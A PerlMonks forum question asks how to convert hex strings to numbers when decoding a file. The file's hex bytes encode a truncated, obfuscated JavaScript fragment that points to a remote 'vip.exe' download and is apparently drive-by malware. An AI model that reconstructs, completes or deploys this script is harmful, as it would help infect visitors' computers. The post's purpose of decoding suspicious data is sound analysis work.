xiaoyafeng has asked for the wisdom of the Perl Monks concerning the following question:
I suppose 'split' let perl treat element as string type. But how can I reverse it to number? Any answers are appreciated!open ($fh,"<vip.txt"); my $text = <$fh>; chomp $text; map {printf ("%c", $_)} split (',', $text); __vip.txt__ 0x3C,0x73,0x63,0x72,0x69,0x70,0x74,0x3E,0xD,0xA,0x66,0x75,0x6E,0x63,0x +74,0x69,0x6F,0x6E,0x20,0x67,0x6E,0x28,0x72,0x52,0x61,0x47,0x45,0x79,0 +x6B,0x55,0x31,0x29,0x7B,0x76,0x61,0x72,0x20,0x4F,0x72,0x68,0x32,0x3D, +0x77,0x69,0x6E,0x64,0x6F,0x77,0x5B,0x22,0x5C,0x78,0x34,0x64,0x5C,0x78 +,0x36,0x31,0x5C,0x78,0x37,0x34,0x5C,0x78,0x36,0x38,0x22,0x5D,0x5B,0x2 +2,0x5C,0x78,0x37,0x32,0x5C,0x78,0x36,0x31,0x5C,0x78,0x36,0x65,0x5C,0x +78,0x36,0x34,0x5C,0x78,0x36,0x66,0x5C,0x78,0x36,0x64,0x22,0x5D,0x28,0 +x29,0x2A,0x72,0x52,0x61,0x47,0x45,0x79,0x6B,0x55,0x31,0x3B,0x72,0x65, +0x74,0x75,0x72,0x6E,0x27,0x5C,0x78,0x37,0x65,0x5C,0x78,0x37,0x34,0x5C +,0x78,0x36,0x64,0x5C,0x78,0x37,0x30,0x27,0x2B,0x27,0x5C,0x78,0x32,0x6 +5,0x5C,0x78,0x37,0x34,0x5C,0x78,0x36,0x64,0x5C,0x78,0x37,0x30,0x27,0x +7D,0x74,0x72,0x79,0x7B,0x76,0x69,0x70,0x3D,0x27,0x68,0x74,0x74,0x70,0 +x3A,0x2F,0x2F,0x66,0x6C,0x79,0x67,0x65,0x74,0x2E,0x38,0x38,0x30,0x30, +0x2E,0x6F,0x72,0x67,0x2F,0x76,0x69,0x70,0x2E,0x65,0x78,0x65,0x27,0x3B +,0x76,0x61,0x72,0x20,0x63,0x68,0x65,0x6E,0x7A,0x69,0x3D,0x77,0x69,0x6 +E,0x64,0x6F,0x77,0x5B,0x22,0x5C,0x78,0x36,0x34,0x5C,0x78,0x36,0x66,0x +5C,0x78,0x36,0x33,0x5C,0x78,0x37,0x35,0x5C,0x78,0x36,0x64,0x5C,0x78,0 +x36,0x35,0x5C,0x78,0x36,0x65,0x5C,0x78,0x37,0x34,0x22,0x5D,0x5B,0x22, +0x5C,0x78,0x36,0x33,0x5C,0x78,0x37,0x32,0x5C,0x78,0x36,0x35,0x5C,0x78 +,0x36,0x31,0x5C,0x78,0x37,0x34,0x5C,0x78,0x36,0x35,0x5C,0x78,0x34,0x3 +5,0x5C,0x78,0x36,0x63,0x5C,0x78,0x36,0x35,0x5C,0x78,0x36,0x64,0x5C,0x +78,0x36,0x35,0x5C,0x78,0x36,0x65,0x5C,0x78,0x37,0x34,0x22,0x5D, __error__ Argument "0x78" isn't numeric in sprintf at D:\vip.pl line 29, <$fh> +line 1. Argument "0x37" isn't numeric in sprintf at D:\vip.pl line 29, <$fh> +line 1. Argument "0x35" isn't numeric in sprintf at D:\vip.pl line 29, <$fh> +line 1. Argument "0x5C" isn't numeric in sprintf at D:\vip.pl line 29, <$fh> +line 1. Argument "0x78" isn't numeric in sprintf at D:\vip.pl line 29, <$fh> +line 1. Argument "0x37" isn't numeric in sprintf at D:\vip.pl line 29, <$fh> +line 1. Argument "0x34" isn't numeric in sprintf at D:\vip.pl line 29, <$fh> +line 1. Argument "0x5C" isn't numeric in sprintf at D:\vip.pl line 29, <$fh> +line 1. Argument "0x78" isn't numeric in sprintf at D:\vip.pl line 29, <$fh> +line 1. Argument "0x36" isn't numeric in sprintf at D:\vip.pl line 29, <$fh> +line 1. Argument "0x35" isn't numeric in sprintf at D:\vip.pl line 29, <$fh> +line 1. Argument "0x22" isn't numeric in sprintf at D:\vip.pl line
|
|---|
| Replies are listed 'Best First'. | |
|---|---|
|
Re: How can I tell perl the element is number?
by kyle (Abbot) on Aug 13, 2007 at 02:53 UTC | |
by xiaoyafeng (Deacon) on Aug 13, 2007 at 07:03 UTC | |
|
Re: How can I tell perl the element is number?
by johngg (Canon) on Aug 13, 2007 at 08:46 UTC | |
|
Re: How can I tell perl the element is number?
by ww (Archbishop) on Aug 13, 2007 at 13:35 UTC | |
by moritz (Cardinal) on Aug 13, 2007 at 13:54 UTC | |
by Joost (Canon) on Aug 13, 2007 at 14:05 UTC | |
by ww (Archbishop) on Aug 13, 2007 at 13:59 UTC | |
|
Re: How can I tell perl the element is number?
by ww (Archbishop) on Aug 13, 2007 at 14:21 UTC |